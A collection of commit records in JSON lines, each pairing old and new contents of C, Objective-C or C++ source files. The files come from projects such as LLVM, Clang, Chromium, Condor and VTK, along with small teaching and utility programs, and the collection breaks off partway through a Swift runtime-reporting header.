{"commit":"a8eabb2ec9b1cc1c453e97f6a701db7e121e77d0","old_file":"arc\/arc\/Model\/FileSystem.h","new_file":"arc\/arc\/Model\/FileSystem.h","old_contents":"\/\/\n\/\/  FileSystem.h\n\/\/  arc\n\/\/\n\/\/  Created by Jerome Cheng on 19\/3\/13.\n\/\/  Copyright (c) 2013 nus.cs3217. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"Folder.h\"\n\n@interface FileSystem : NSObject {\n    Folder *_rootFolder; \/\/ The root folder.\n}\n\n\/\/ Returns the root folder of the entire file system.\n- (Folder*)getRootFolder;\n\n\/\/ Returns the single FileSystem instance.\n+ (FileSystem*)getInstance;\n\n@end\n","new_contents":"\/\/\n\/\/  FileSystem.h\n\/\/  arc\n\/\/\n\/\/  Created by Jerome Cheng on 19\/3\/13.\n\/\/  Copyright (c) 2013 nus.cs3217. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"Folder.h\"\n\n@interface FileSystem : NSObject {\n    @private\n    Folder *_rootFolder; \/\/ The root folder.\n}\n\n\/\/ Returns the root folder of the entire file system.\n- (Folder*)getRootFolder;\n\n\/\/ Returns the single FileSystem instance.\n+ (FileSystem*)getInstance;\n\n@end\n","subject":"Add @private indicator to instance variable.","message":"Add @private indicator to instance variable.\n","lang":"C","license":"mit","repos":"BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc"}
{"commit":"5e9d8dbf60e137345a988b2e3ed1281dae9d4014","old_file":"extras\/test\/arduino_compat.h","new_file":"extras\/test\/arduino_compat.h","old_contents":"#ifndef _ARDUINO_COMPAT_H\n#define _ARDUINO_COMPAT_H\n\n#include <stdio.h>\n#include <stdlib.h>\n\/\/#include <sys\/types.h>\n\/\/#include <sys\/stat.h>\n#include <fcntl.h>\n\n#include <ctype.h>\n\n#include <string.h>\n\n#include <iostream>\nusing namespace std;\n\ntypedef unsigned char uint8_t;\ntypedef unsigned short uint16_t;\ntypedef unsigned long uint32_t;\ntypedef bool boolean;\ntypedef iostream Stream;\n\n#endif\n","new_contents":"#ifndef _ARDUINO_COMPAT_H\n#define _ARDUINO_COMPAT_H\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n\/\/#include <sys\/types.h>\n\/\/#include <sys\/stat.h>\n#include <fcntl.h>\n\n#include <ctype.h>\n\n#include <string.h>\n\n#include <iostream>\nusing namespace std;\n\ntypedef bool boolean;\ntypedef iostream Stream;\n\n#endif\n","subject":"Use stdint.h for unsigned integer typedefs","message":"Use stdint.h for unsigned integer typedefs\n\nFixes problem compiling regression tests on 64 bit OS.\n","lang":"C","license":"lgpl-2.1","repos":"stevemarple\/MicroNMEA,stevemarple\/MicroNMEA"}
{"commit":"310e18df061ca1cead75c35032031363ee0da74d","old_file":"src\/load2mem.c","new_file":"src\/load2mem.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <sys\/stat.h>\n\nvoid\nusage(char *progname)\n{\n\tprintf(\"usage: %s filename [address]\\n\", progname);\n}\n\nvoid\nprepare_filebuf(char **fb, long size)\n{\n\t*fb = (char*) malloc(size);\n}\n\nint\nmain(int argc, char *argv[])\n{\n\tint fd; \n\tstruct stat statbuf;\n\tchar *filebuf;\n\n\tif (argc <= 1) {\n\t\tusage(argv[0]);\n\t\texit(1);\n\t}\n\n\tif ((fd = open(argv[1], O_RDONLY)) == -1)  {\n\t\tperror(\"Error openinig file\");\n\t\texit(2);\n\t}\n\n\tfstat(fd, &statbuf);\n\n\tif (argc == 3)\n\t\tfilebuf = (char*) strtol(argv[2], NULL, 16);\n\telse \n\t\tprepare_filebuf(&filebuf, statbuf.st_size);\n\n\tprintf(\"file is %ld bytes long, will load at %p\\n\", (long) statbuf.st_size, filebuf);\n\n\tif (read(fd, filebuf, statbuf.st_size) == -1) {\n\t\tperror(\"Error reading file\");\n\t\texit(3);\n\t}\n}\n\n","subject":"Add original source from 2014. Split from 9tcfg.","message":"Add original source from 2014. Split from 9tcfg.\n","lang":"C","license":"mit","repos":"rkujawa\/load2mem"}
{"commit":"b3196c56d41c2a09090671580a394d0589f70706","old_file":"mudlib\/mud\/home\/System\/sys\/touchd.c","new_file":"mudlib\/mud\/home\/System\/sys\/touchd.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths.h>\n#include <bigstruct\/paths.h>\n#include <status.h>\n\ninherit SECOND_AUTO;\n\nobject queue;\n\nstatic void create()\n{\n\tqueue = new_object(BIGSTRUCT_DEQUE_LWO);\n}\n\nvoid queue_touch(object obj)\n{\n\tif (queue->empty()) {\n\t\tcall_out(\"touch\", 0);\n\t}\n\n\tqueue->push_back(obj);\n}\n\nstatic void touch()\n{\n\tobject obj;\n\n\tobj = queue->get_front();\n\n\tqueue->pop_front();\n\n\tif (obj) {\n\t\tobj->_F_dummy();\n\t}\n\n\tif (!queue->empty()) {\n\t\tcall_out(\"touch\", 0);\n\t}\n}\n","subject":"Add daemon to touch down all touched objects in the background","message":"Add daemon to touch down all touched objects in the background\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"7922c4d5bc2469b00591b9e11199bd8b4c743677","old_file":"misc\/cxx_static_const.c","new_file":"misc\/cxx_static_const.c","old_contents":"","new_contents":"\/*\n *  C++ 'static const' works differently from C 'static const'.\n *  This example compiles with gcc but not with g++.  G++ will\n *  issue errors.\n *\/\n\n\/*\n$ g++ -o \/tmp\/foo cxx_static_const.c -lm\n\ncxx_static_const.c:2:26: error: uninitialized const ‘N1’ [-fpermissive]\n static const struct node N1;\n                          ^\ncxx_static_const.c:1:21: note: ‘const struct node’ has no user-provided default constructor\n struct node; struct node { const struct node *other; };\n                     ^\ncxx_static_const.c:1:47: note: and the implicitly-defined constructor does not initialize ‘const node* node::other’\n struct node; struct node { const struct node *other; };\n                                               ^\ncxx_static_const.c:3:26: error: uninitialized const ‘N2’ [-fpermissive]\n static const struct node N2;\n                          ^\ncxx_static_const.c:1:21: note: ‘const struct node’ has no user-provided default constructor\n struct node; struct node { const struct node *other; };\n                     ^\ncxx_static_const.c:1:47: note: and the implicitly-defined constructor does not initialize ‘const node* node::other’\n struct node; struct node { const struct node *other; };\n                                               ^\ncxx_static_const.c:4:26: error: redefinition of ‘const node N1’\n static const struct node N1 = { &N2 };\n                          ^\ncxx_static_const.c:2:26: error: ‘const node N1’ previously declared here\n static const struct node N1;\n                          ^\ncxx_static_const.c:5:26: error: redefinition of ‘const node N2’\n static const struct node N2 = { &N1 };\n                          ^\ncxx_static_const.c:3:26: error: ‘const node N2’ previously declared here\n static const struct node N2;\n*\/\n\nstruct node; struct node { const struct node *other; };\nstatic const struct node N1;\nstatic const struct node N2;\nstatic const struct node N1 = { &N2 };\nstatic const struct node N2 = { &N1 };\n\nint main(int argc, char *argv[]) {\n\t(void) argc; (void) argv; return 0;\n}\n","subject":"Add example of C++ 'static const' issue","message":"Add example of C++ 'static const' issue\n","lang":"C","license":"mit","repos":"harold-b\/duktape,harold-b\/duktape,jmptrader\/duktape,jmptrader\/duktape,svaarala\/duktape,markand\/duktape,markand\/duktape,harold-b\/duktape,svaarala\/duktape,svaarala\/duktape,svaarala\/duktape,jmptrader\/duktape,markand\/duktape,harold-b\/duktape,jmptrader\/duktape,jmptrader\/duktape,harold-b\/duktape,harold-b\/duktape,svaarala\/duktape,jmptrader\/duktape,harold-b\/duktape,markand\/duktape,harold-b\/duktape,jmptrader\/duktape,markand\/duktape,jmptrader\/duktape,svaarala\/duktape,harold-b\/duktape,markand\/duktape,svaarala\/duktape,harold-b\/duktape,markand\/duktape,jmptrader\/duktape,markand\/duktape,markand\/duktape,markand\/duktape,svaarala\/duktape,jmptrader\/duktape,svaarala\/duktape"}
{"commit":"f08636ea3f92e8debb3cfa64777c459a3d584968","old_file":"good_bad_c_example\/evil_pointers.c","new_file":"good_bad_c_example\/evil_pointers.c","old_contents":"#include <stdio.h>\n\nmain() {\n  char ch0 = 'a';\n  char ch1 = 'b';\n  char ch2 = 'c';\n\n  char *p = &ch1;\n  printf(\"%d, %c, %c\\n\", p, *p, ch1);\n  ++p;\n  printf(\"%d, %c, %c\\n\", p, *p, ch1);\n  printf(\"%d, %d, %d\\n\", &ch0, &ch1, &ch2); \/\/ Prevent the compiler from optimizing away the char constants\n}\n","new_contents":"#include <stdio.h>\n\nmain() {\n  char ch0 = 'e';\n  char ch1 = 'v';\n  char ch2 = 'i';\n\n  char *p = &ch1;\n  printf(\"%d, %c, %c\\n\", p, *p, ch1);\n  ++p;\n  printf(\"%d, %c, %c\\n\", p, *p, ch1);\n  printf(\"%d, %d, %d\\n\", &ch0, &ch1, &ch2); \/\/ Prevent the compiler from optimizing away the char constants\n}\n","subject":"Make it more ovious we are not incrementing and decrementing chars","message":"Make it more ovious we are not incrementing and decrementing chars\n","lang":"C","license":"bsd-3-clause","repos":"rbanffy\/c_playground,rbanffy\/c_playground,rbanffy\/c_playground,rbanffy\/c_playground,rbanffy\/c_playground,rbanffy\/c_playground"}
{"commit":"4536612477ae234c0de0fffd445a7ca122c608a6","old_file":"test\/CFrontend\/2007-06-05-NoInlineAttribute.c","new_file":"test\/CFrontend\/2007-06-05-NoInlineAttribute.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgxx -c -emit-llvm %s -o - | llvm-dis | grep llvm.noinline \n\nint bar(int x, int y); __attribute__((noinline))\n\nint bar(int x, int y)  \n{\n return x + y;\n}\n\nint foo(int a, int b) {\n return  bar(b, a);\n}\n\n","subject":"Test case for noinline attribute.","message":"Test case for noinline attribute.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@37479 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap"}
{"commit":"1e8c5fb9fc80e721747a50936a898cf4abb6b275","old_file":"chrome\/browser\/autofill\/autofill_dialog.h","new_file":"chrome\/browser\/autofill\/autofill_dialog.h","old_contents":"","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_AUTOFILL_AUTOFILL_DIALOG_H_\n#define CHROME_BROWSER_AUTOFILL_AUTOFILL_DIALOG_H_\n\n#include <vector>\n\n#include \"chrome\/browser\/autofill\/autofill_profile.h\"\n\n\/\/ Shows the AutoFill dialog, which allows the user to edit profile information.\n\/\/ |profiles| is a vector of autofill profiles that contains the current profile\n\/\/ information.  The dialog fills out the profile fields using this data.  Any\n\/\/ changes made to the profile information through the dialog should be\n\/\/ transferred back into |profiles|.\nvoid ShowAutoFillDialog(const std::vector<AutoFillProfile>& profiles);\n\n#endif  \/\/ CHROME_BROWSER_AUTOFILL_AUTOFILL_DIALOG_H_\n","subject":"Add the AutoFillDialog header, needed by the cross-platform implementations to implement the autofill dialog.","message":"Add the AutoFillDialog header, needed by the cross-platform implementations to implement the autofill dialog.\n\nBUG=none\nTEST=none\nReview URL: http:\/\/codereview.chromium.org\/549014\n\ngit-svn-id: dd90618784b6a4b323ea0c23a071cb1c9e6f2ac7@36030 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n","lang":"C","license":"bsd-3-clause","repos":"wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser"}
{"commit":"89969c3588667d2322ce2c918a8d050d5df8a3a5","old_file":"src\/condor_includes\/condor_getmnt.h","new_file":"src\/condor_includes\/condor_getmnt.h","old_contents":"#ifndef _CONDOR_GETMNT_H\n#define _CONDOR_GETMNT_H\n\n#if defined(ULTRIX42) || defined(ULTRIX43)\n#include <sys\/mount.h>\n#endif\n\n#if !defined(OSF1)\n#include <mntent.h>\n#endif\n\n#if !defined(NMOUNT)\n#define NMOUNT 256\n#endif\n\n#if !defined(ULTRIX42) && !defined(ULTRIX43)\nstruct fs_data_req {\n\tdev_t\tdev;\n\tchar\t*devname;\n\tchar\t*path;\n};\nstruct fs_data {\n\tstruct fs_data_req fd_req;\n};\n#define NOSTAT_MANY 0\n#endif\n\n#if NMOUNT < 256\n#undef  NMOUNT\n#define NMOUNT  256\n#endif\n\n#endif \/* _CONDOR_GETMNT_H *\/\n","new_contents":"#ifndef _CONDOR_GETMNT_H\n#define _CONDOR_GETMNT_H\n\n#if defined(ULTRIX42) || defined(ULTRIX43)\n#include <sys\/mount.h>\n#endif\n\n#if !defined(OSF1) && !defined(AIX32)\n#include <mntent.h>\n#endif\n\n#if defined(AIX32)\n#\tinclude <sys\/mntctl.h>\n#\tinclude <sys\/vmount.h>\n#\tinclude <sys\/sysmacros.h>\n#endif\n\n#if !defined(NMOUNT)\n#define NMOUNT 256\n#endif\n\n#if !defined(ULTRIX42) && !defined(ULTRIX43)\nstruct fs_data_req {\n\tdev_t\tdev;\n\tchar\t*devname;\n\tchar\t*path;\n};\nstruct fs_data {\n\tstruct fs_data_req fd_req;\n};\n#define NOSTAT_MANY 0\n#endif\n\n#if NMOUNT < 256\n#undef  NMOUNT\n#define NMOUNT  256\n#endif\n\n#endif \/* _CONDOR_GETMNT_H *\/\n","subject":"Add AIX specific include files.","message":"Add AIX specific include files.\n","lang":"C","license":"apache-2.0","repos":"djw8605\/condor,htcondor\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/condor,djw8605\/htcondor,djw8605\/condor,djw8605\/condor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,djw8605\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,djw8605\/htcondor,djw8605\/condor,neurodebian\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,htcondor\/htcondor,htcondor\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,djw8605\/condor,djw8605\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,clalancette\/condor-dcloud,clalancette\/condor-dcloud,neurodebian\/htcondor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,djw8605\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,htcondor\/htcondor"}
{"commit":"1bbf2cc0ec79123ea36e6d3979078698c9c3fc8b","old_file":"Utilities\/ParseOGLExt\/Tokenizer.h","new_file":"Utilities\/ParseOGLExt\/Tokenizer.h","old_contents":"\/\/ -*- c++ -*-\n\n\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    Tokenizer.h\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n\n\/*\n * Copyright 2003 Sandia Corporation.\n * Under the terms of Contract DE-AC04-94AL85000, there is a non-exclusive\n * license for use of this work by or on behalf of the\n * U.S. Government. Redistribution and use in source and binary forms, with\n * or without modification, are permitted provided that this Notice and any\n * statement of authorship are reproduced on all copies.\n *\/\n\n#include <vtkConfigure.h>\n#include <string>\n\nclass Tokenizer\n{\npublic:\n  Tokenizer(const char *s, const char *delim = \" \\t\\n\");\n  Tokenizer(const vtkstd::string &s, const char *delim = \" \\t\\n\");\n\n  vtkstd::string GetNextToken();\n  vtkstd::string GetRemainingString() const;\n  bool HasMoreTokens() const;\n\n  void Reset();\n\nprivate:\n  vtkstd::string FullString;\n  vtkstd::string Delim;\n  vtkstd::string::size_type Position;\n};\n","new_contents":"\/\/ -*- c++ -*-\n\n\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    Tokenizer.h\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n\n\/*\n * Copyright 2003 Sandia Corporation.\n * Under the terms of Contract DE-AC04-94AL85000, there is a non-exclusive\n * license for use of this work by or on behalf of the\n * U.S. Government. Redistribution and use in source and binary forms, with\n * or without modification, are permitted provided that this Notice and any\n * statement of authorship are reproduced on all copies.\n *\/\n\n#include <vtkConfigure.h>\n#include <vtkstd\/string>\n\nclass Tokenizer\n{\npublic:\n  Tokenizer(const char *s, const char *delim = \" \\t\\n\");\n  Tokenizer(const vtkstd::string &s, const char *delim = \" \\t\\n\");\n\n  vtkstd::string GetNextToken();\n  vtkstd::string GetRemainingString() const;\n  bool HasMoreTokens() const;\n\n  void Reset();\n\nprivate:\n  vtkstd::string FullString;\n  vtkstd::string Delim;\n  vtkstd::string::size_type Position;\n};\n","subject":"Use the VTK wrapping of the string class header file.","message":"COMP: Use the VTK wrapping of the string class header file.\n","lang":"C","license":"bsd-3-clause","repos":"Wuteyan\/VTK,jmerkow\/VTK,collects\/VTK,SimVascular\/VTK,SimVascular\/VTK,jeffbaumes\/jeffbaumes-vtk,keithroe\/vtkoptix,Wuteyan\/VTK,berendkleinhaneveld\/VTK,arnaudgelas\/VTK,spthaolt\/VTK,spthaolt\/VTK,candy7393\/VTK,keithroe\/vtkoptix,gram526\/VTK,keithroe\/vtkoptix,arnaudgelas\/VTK,mspark93\/VTK,daviddoria\/PointGraphsPhase1,johnkit\/vtk-dev,biddisco\/VTK,sankhesh\/VTK,ashray\/VTK-EVM,gram526\/VTK,hendradarwin\/VTK,daviddoria\/PointGraphsPhase1,berendkleinhaneveld\/VTK,jmerkow\/VTK,sankhesh\/VTK,hendradarwin\/VTK,collects\/VTK,berendkleinhaneveld\/VTK,jeffbaumes\/jeffbaumes-vtk,demarle\/VTK,naucoin\/VTKSlicerWidgets,sumedhasingla\/VTK,spthaolt\/VTK,cjh1\/VTK,gram526\/VTK,jeffbaumes\/jeffbaumes-vtk,mspark93\/VTK,naucoin\/VTKSlicerWidgets,ashray\/VTK-EVM,demarle\/VTK,biddisco\/VTK,mspark93\/VTK,sumedhasingla\/VTK,candy7393\/VTK,naucoin\/VTKSlicerWidgets,candy7393\/VTK,candy7393\/VTK,gram526\/VTK,msmolens\/VTK,jmerkow\/VTK,msmolens\/VTK,johnkit\/vtk-dev,jeffbaumes\/jeffbaumes-vtk,sumedhasingla\/VTK,keithroe\/vtkoptix,johnkit\/vtk-dev,ashray\/VTK-EVM,daviddoria\/PointGraphsPhase1,biddisco\/VTK,collects\/VTK,candy7393\/VTK,daviddoria\/PointGraphsPhase1,msmolens\/VTK,demarle\/VTK,spthaolt\/VTK,Wuteyan\/VTK,sgh\/vtk,sankhesh\/VTK,Wuteyan\/VTK,sankhesh\/VTK,ashray\/VTK-EVM,collects\/VTK,Wuteyan\/VTK,msmolens\/VTK,gram526\/VTK,johnkit\/vtk-dev,ashray\/VTK-EVM,sumedhasingla\/VTK,aashish24\/VTK-old,aashish24\/VTK-old,mspark93\/VTK,daviddoria\/PointGraphsPhase1,mspark93\/VTK,ashray\/VTK-EVM,SimVascular\/VTK,keithroe\/vtkoptix,cjh1\/VTK,arnaudgelas\/VTK,cjh1\/VTK,SimVascular\/VTK,mspark93\/VTK,berendkleinhaneveld\/VTK,hendradarwin\/VTK,arnaudgelas\/VTK,gram526\/VTK,sankhesh\/VTK,berendkleinhaneveld\/VTK,jeffbaumes\/jeffbaumes-vtk,sankhesh\/VTK,berendkleinhaneveld\/VTK,arnaudgelas\/VTK,mspark93\/VTK,spthaolt\/VTK,ashray\/VTK-EVM,demarle\/VTK,biddisco\/VTK,aashish24\/VTK-old,sgh\/vtk,biddisco\/VTK,jmerkow\/VTK,candy7393\/VTK,hendradarwin\/VTK,mspark93\/VTK,sankhesh\/VTK,msmolens\/VTK,naucoin\/VTKSlicerWidgets,daviddoria\/PointGraphsPhase1,candy7393\/VTK,spthaolt\/VTK,demarle\/VTK,spthaolt\/VTK,jeffbaumes\/jeffbaumes-vtk,jmerkow\/VTK,sumedhasingla\/VTK,demarle\/VTK,SimVascular\/VTK,SimVascular\/VTK,msmolens\/VTK,sumedhasingla\/VTK,demarle\/VTK,SimVascular\/VTK,gram526\/VTK,arnaudgelas\/VTK,sumedhasingla\/VTK,aashish24\/VTK-old,SimVascular\/VTK,keithroe\/vtkoptix,hendradarwin\/VTK,biddisco\/VTK,naucoin\/VTKSlicerWidgets,berendkleinhaneveld\/VTK,demarle\/VTK,sankhesh\/VTK,johnkit\/vtk-dev,hendradarwin\/VTK,Wuteyan\/VTK,sgh\/vtk,aashish24\/VTK-old,sumedhasingla\/VTK,keithroe\/vtkoptix,jmerkow\/VTK,gram526\/VTK,johnkit\/vtk-dev,msmolens\/VTK,collects\/VTK,biddisco\/VTK,cjh1\/VTK,jmerkow\/VTK,aashish24\/VTK-old,cjh1\/VTK,cjh1\/VTK,sgh\/vtk,johnkit\/vtk-dev,collects\/VTK,jmerkow\/VTK,candy7393\/VTK,keithroe\/vtkoptix,msmolens\/VTK,naucoin\/VTKSlicerWidgets,Wuteyan\/VTK,sgh\/vtk,sgh\/vtk,hendradarwin\/VTK,ashray\/VTK-EVM"}
{"commit":"50ccd0d378e1ae094f876630770982817baccecc","old_file":"test\/Driver\/gcc_forward.c","new_file":"test\/Driver\/gcc_forward.c","old_contents":"\/\/ Check that we don't try to forward -Xclang or -mlinker-version to GCC.\n\/\/ PR12920 -- Check also we may not forward W_Group options to GCC.\n\/\/\n\/\/ RUN: %clang -target powerpc-unknown-unknown \\\n\/\/ RUN:   %s \\\n\/\/ RUN:   -Wall -Wdocumentation \\\n\/\/ RUN:   -Xclang foo-bar \\\n\/\/ RUN:   -march=x86_64 \\\n\/\/ RUN:   -mlinker-version=10 -### 2> %t\n\/\/ RUN: FileCheck < %t %s\n\/\/\n\/\/ clang-cc1\n\/\/ CHECK: \"-Wall\" \"-Wdocumentation\"\n\/\/ CHECK: \"-o\" \"{{[^\"]+}}.o\"\n\/\/\n\/\/ gcc-ld\n\/\/ CHECK: gcc{{[^\"]*}}\"\n\/\/ CHECK-NOT: \"-mlinker-version=10\"\n\/\/ CHECK-NOT: \"-Xclang\"\n\/\/ CHECK-NOT: \"foo-bar\"\n\/\/ CHECK-NOT: \"-Wall\"\n\/\/ CHECK-NOT: \"-Wdocumentation\"\n\/\/ CHECK: -march\n\/\/ CHECK-NOT: \"-mlinker-version=10\"\n\/\/ CHECK-NOT: \"-Xclang\"\n\/\/ CHECK-NOT: \"foo-bar\"\n\/\/ CHECK-NOT: \"-Wall\"\n\/\/ CHECK-NOT: \"-Wdocumentation\"\n\/\/ CHECK: \"-o\" \"a.out\"\n","new_contents":"\/\/ Check that we don't try to forward -Xclang or -mlinker-version to GCC.\n\/\/ PR12920 -- Check also we may not forward W_Group options to GCC.\n\/\/\n\/\/ RUN: %clang -target powerpc-unknown-unknown \\\n\/\/ RUN:   %s \\\n\/\/ RUN:   -Wall -Wdocumentation \\\n\/\/ RUN:   -Xclang foo-bar \\\n\/\/ RUN:   -march=x86_64 \\\n\/\/ RUN:   -mlinker-version=10 -### 2> %t\n\/\/ RUN: FileCheck < %t %s\n\/\/\n\/\/ clang-cc1\n\/\/ CHECK: \"-Wall\" \"-Wdocumentation\"\n\/\/ CHECK: \"-o\" \"{{[^\"]+}}.o\"\n\/\/\n\/\/ gcc-ld\n\/\/ CHECK: gcc{{[^\"]*}}\"\n\/\/ CHECK-NOT: \"-mlinker-version=10\"\n\/\/ CHECK-NOT: \"-Xclang\"\n\/\/ CHECK-NOT: \"foo-bar\"\n\/\/ CHECK-NOT: \"-Wall\"\n\/\/ CHECK-NOT: \"-Wdocumentation\"\n\/\/ CHECK: -march\n\/\/ CHECK-NOT: \"-mlinker-version=10\"\n\/\/ CHECK-NOT: \"-Xclang\"\n\/\/ CHECK-NOT: \"foo-bar\"\n\/\/ CHECK-NOT: \"-Wall\"\n\/\/ CHECK-NOT: \"-Wdocumentation\"\n\/\/ CHECK: \"-o\" \"a.out\"\n\n\/\/ Check that we're not forwarding -g options to the assembler\n\/\/ RUN: %clang -g -target x86_64-unknown-linux-gnu -no-integrated-as -c %s -### 2>&1 \\\n\/\/ RUN:   | FileCheck --check-prefix=CHECK-ASM %s\n\/\/ CHECK-ASM: as\n\/\/ CHECK-ASM-NOT: \"-g\"\n","subject":"Test that we're not forwarding on -g options to the non integrated assembler.","message":"Test that we're not forwarding on -g options to the non integrated assembler.\n\nThis is adding a test for an old fixed PR to make sure we don't regress.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@257009 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"d3a669ffe7ceca3781ff9452a643286850ad32a9","old_file":"packages\/Python\/lldbsuite\/test\/functionalities\/swift-runtime-reporting\/abi-v2\/library.h","new_file":"packages\/Python\/lldbsuite\/test\/functionalities\/swift-runtime-reporting\/abi-v2\/library.h","old_contents":"\/\/ library.h\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/ -----------------------------------------------------------------------------\n\n\/\/ From swift's include\/swift\/Runtime\/Debug.h file.\nstruct RuntimeErrorDetails {\n  uintptr_t version;\n  const char *errorType;\n  const char *currentStackDescription;\n  uintptr_t framesToSkip;\n  void *memoryAddress;\n\n  struct Thread {\n    const char *description;\n    uint64_t threadID;\n    uintptr_t numFrames;\n    void **frames;\n  };\n\n  uintptr_t numExtraThreads;\n  Thread *threads;\n\n  struct FixIt {\n    const char *filename;\n    uintptr_t startLine;\n    uintptr_t startColumn;\n    uintptr_t endLine;\n    uintptr_t endColumn;\n    const char *replacementText;\n  };\n\n  struct Note {\n    const char *description;\n    uintptr_t numFixIts;\n    FixIt *fixIts;\n  };\n\n  uintptr_t numFixIts;\n  FixIt *fixIts;\n\n  uintptr_t numNotes;\n  Note *notes;\n};\n\nenum: uintptr_t {\n  RuntimeErrorFlagNone = 0,\n  RuntimeErrorFlagFatal = 1 << 0\n};\n\nextern \"C\"\nvoid _swift_runtime_on_report(uintptr_t flags, const char *message, RuntimeErrorDetails *details);\n","new_contents":"\/\/ library.h\n\/\/\n\/\/ This source file is part of the Swift.org open 